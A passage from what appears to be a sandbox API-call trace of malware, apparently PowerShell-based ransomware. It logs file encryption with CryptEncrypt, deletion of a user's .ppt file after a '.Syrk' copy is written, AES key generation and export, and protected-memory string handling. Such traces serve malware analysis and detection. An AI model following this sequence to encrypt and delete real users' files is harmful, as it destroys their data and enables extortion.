lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0220.730] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a24e8*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x24a24e8*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0220.730] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24a2504*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x24a2504*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0220.730] WriteFile (in: hFile=0x458, lpBuffer=0x2488a78*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x2488a78*, lpNumberOfBytesWritten=0x5a2e71c*=0x504, lpOverlapped=0x0) returned 1 [0220.730] CloseHandle (hObject=0x458) returned 1 [0220.731] CloseHandle (hObject=0x454) returned 1 [0220.732] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0220.732] EtwEventActivityIdControl () returned 0x0 [0220.732] EtwEventActivityIdControl () returned 0x0 [0220.732] EtwEventActivityIdControl () returned 0x0 [0220.738] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt")) returned 0x20 [0220.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0220.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", lpFilePart=0x0) returned 0x45 [0220.741] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0220.741] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0220.741] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0220.742] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0220.742] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0220.742] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0220.742] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0220.742] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0220.742] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0220.742] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0220.742] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0220.742] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0220.742] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0220.743] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0220.743] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0220.743] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0220.743] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0220.743] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0220.744] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt")) returned 0x20 [0220.744] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0220.744] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", lpFilePart=0x0) returned 0x45 [0220.747] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0220.747] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", lpFilePart=0x0) returned 0x45 [0220.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0220.747] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0220.747] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", lpFilePart=0x0) returned 0x45 [0220.747] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0220.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0220.748] CoTaskMemAlloc (cb=0x404) returned 0x5c99488 [0220.748] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c99488, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0220.748] CoTaskMemFree (pv=0x5c99488) [0220.750] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt")) returned 0x20 [0220.751] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0220.751] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", lpFilePart=0x0) returned 0x45 [0220.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0220.751] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt"), fInfoLevelId=0x0, lpFileInformation=0x24b17dc | out: lpFileInformation=0x24b17dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdec26120, ftCreationTime.dwHighDateTime=0x1d99b75, ftLastAccessTime.dwLowDateTime=0x7fdda1c0, ftLastAccessTime.dwHighDateTime=0x1d99c23, ftLastWriteTime.dwLowDateTime=0x7fdda1c0, ftLastWriteTime.dwHighDateTime=0x1d99c23, nFileSizeHigh=0x0, nFileSizeLow=0x14e7)) returned 1 [0220.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0220.751] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt")) returned 1 [0220.753] EtwEventActivityIdControl () returned 0x0 [0220.753] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0220.753] EtwEventActivityIdControl () returned 0x0 [0220.753] EtwEventActivityIdControl () returned 0x0 [0220.753] EtwEventActivityIdControl () returned 0x0 [0220.913] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt.syrk")) returned 0x20 [0220.915] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt.syrk")) returned 0x20 [0220.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0220.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk", lpFilePart=0x0) returned 0x4a [0220.916] EtwEventActivityIdControl () returned 0x0 [0220.916] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0220.917] EtwEventActivityIdControl () returned 0x0 [0220.917] EtwEventActivityIdControl () returned 0x0 [0220.917] EtwEventActivityIdControl () returned 0x0 [0220.929] EtwEventActivityIdControl () returned 0x0 [0220.930] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0220.931] EtwEventActivityIdControl () returned 0x0 [0220.931] EtwEventActivityIdControl () returned 0x0 [0220.931] EtwEventActivityIdControl () returned 0x0 [0220.937] EtwEventActivityIdControl () returned 0x0 [0220.937] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0220.937] EtwEventActivityIdControl () returned 0x0 [0220.937] EtwEventActivityIdControl () returned 0x0 [0220.938] EtwEventActivityIdControl () returned 0x0 [0221.035] EtwEventActivityIdControl () returned 0x0 [0221.036] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.036] EtwEventActivityIdControl () returned 0x0 [0221.036] EtwEventActivityIdControl () returned 0x0 [0221.036] EtwEventActivityIdControl () returned 0x0 [0221.114] EtwEventActivityIdControl () returned 0x0 [0221.115] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.117] EtwEventActivityIdControl () returned 0x0 [0221.117] EtwEventActivityIdControl () returned 0x0 [0221.117] EtwEventActivityIdControl () returned 0x0 [0221.122] EtwEventActivityIdControl () returned 0x0 [0221.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0221.127] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24be888 | out: lpFileInformation=0x24be888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffadc5f0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xffadc5f0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xffb288b0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x1504)) returned 1 [0221.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0221.130] GetConsoleOutputCP () returned 0x1b5 [0221.131] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0221.131] GetConsoleOutputCP () returned 0x1b5 [0221.132] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0221.132] GetConsoleOutputCP () returned 0x1b5 [0221.132] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0221.132] GetConsoleOutputCP () returned 0x1b5 [0221.132] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0221.132] GetConsoleOutputCP () returned 0x1b5 [0221.133] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0221.133] GetConsoleOutputCP () returned 0x1b5 [0221.133] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0221.133] GetConsoleOutputCP () returned 0x1b5 [0221.133] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0221.133] GetConsoleOutputCP () returned 0x1b5 [0221.134] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0221.134] GetConsoleOutputCP () returned 0x1b5 [0221.134] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0221.134] GetConsoleOutputCP () returned 0x1b5 [0221.134] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0221.134] GetConsoleOutputCP () returned 0x1b5 [0221.134] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0221.135] GetConsoleOutputCP () returned 0x1b5 [0221.135] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0221.135] GetConsoleOutputCP () returned 0x1b5 [0221.135] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0221.135] GetConsoleOutputCP () returned 0x1b5 [0221.135] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0221.135] GetConsoleOutputCP () returned 0x1b5 [0221.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0221.136] GetConsoleOutputCP () returned 0x1b5 [0221.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0221.136] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0221.137] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0221.138] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d8c88*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x24d8c88*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0221.138] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0221.139] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0221.141] EtwEventActivityIdControl () returned 0x0 [0221.141] EtwEventActivityIdControl () returned 0x0 [0221.141] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.142] EtwEventActivityIdControl () returned 0x0 [0221.142] EtwEventActivityIdControl () returned 0x0 [0221.142] EtwEventActivityIdControl () returned 0x0 [0221.145] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.145] EtwEventActivityIdControl () returned 0x0 [0221.145] EtwEventActivityIdControl () returned 0x0 [0221.146] EtwEventActivityIdControl () returned 0x0 [0221.149] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4cee0) returned 1 [0221.152] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e830 | out: phKey=0x5a2e830*=0x5c68e80) returned 1 [0221.152] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0221.152] CryptExportKey (in: hKey=0x5c68e80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e870 | out: pbData=0x0*, pdwDataLen=0x5a2e870*=0x2c) returned 1 [0221.152] CryptExportKey (in: hKey=0x5c68e80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24e09f8, pdwDataLen=0x5a2e870 | out: pbData=0x24e09f8*, pdwDataLen=0x5a2e870*=0x2c) returned 1 [0221.153] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.154] EtwEventActivityIdControl () returned 0x0 [0221.154] EtwEventActivityIdControl () returned 0x0 [0221.154] EtwEventActivityIdControl () returned 0x0 [0221.155] SysStringLen (param_1="") returned 0x8 [0221.155] SysStringLen (param_1="/") returned 0x8 [0221.155] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.155] SysStringLen (param_1="榘䀜臭༱荹麽援") returned 0x8 [0221.155] SysStringLen (param_1="榘䀜臭༱荹麽援") returned 0x8 [0221.156] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.156] SysStringLen (param_1="/D") returned 0x8 [0221.156] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.156] SysStringLen (param_1="폆ꋱ㣶枢ﷂᆷ襙") returned 0x8 [0221.156] SysStringLen (param_1="폆ꋱ㣶枢ﷂᆷ襙") returned 0x8 [0221.156] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.156] SysStringLen (param_1="/Da") returned 0x8 [0221.156] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.156] SysStringLen (param_1="৾僪揔괻䅂･ᆭ耜") returned 0x8 [0221.157] SysStringLen (param_1="৾僪揔괻䅂･ᆭ耜") returned 0x8 [0221.157] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.157] SysStringLen (param_1="/Da6") returned 0x8 [0221.157] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.157] SysStringLen (param_1="洤⎲쉨櫆茐\᫛⋌) returned 0x8 [0221.157] SysStringLen (param_1="洤⎲쉨櫆茐\᫛⋌) returned 0x8 [0221.157] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.157] SysStringLen (param_1="/Da6S") returned 0x8 [0221.157] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.158] SysStringLen (param_1="ቱ뷝붥瀌槍⸓") returned 0x8 [0221.158] SysStringLen (param_1="ቱ뷝붥瀌槍⸓") returned 0x8 [0221.158] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.158] SysStringLen (param_1="/Da6S3") returned 0x8 [0221.158] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.158] SysStringLen (param_1="ᤚ폈ꇕ攣婮⦫蓖") returned 0x8 [0221.158] SysStringLen (param_1="ᤚ폈ꇕ攣婮⦫蓖") returned 0x8 [0221.158] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.158] SysStringLen (param_1="/Da6S3o") returned 0x8 [0221.158] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.159] SysStringLen (param_1="劏ꅑ种ᬢ鰏吠\鿝⋕) returned 0x8 [0221.159] SysStringLen (param_1="劏ꅑ种ᬢ鰏吠\鿝⋕) returned 0x8 [0221.159] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.159] SysStringLen (param_1="/Da6S3oX") returned 0x8 [0221.159] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.159] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ") returned 0x8 [0221.159] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ") returned 0x8 [0221.159] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ") returned 0x8 [0221.160] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ") returned 0x10 [0221.160] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.160] SysStringLen (param_1="/Da6S3oXP啀䥦陉ଯ㈚") returned 0x10 [0221.160] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.161] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ⛜渞뢟ﭿퟠ痕") returned 0x10 [0221.161] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ⛜渞뢟ﭿퟠ痕") returned 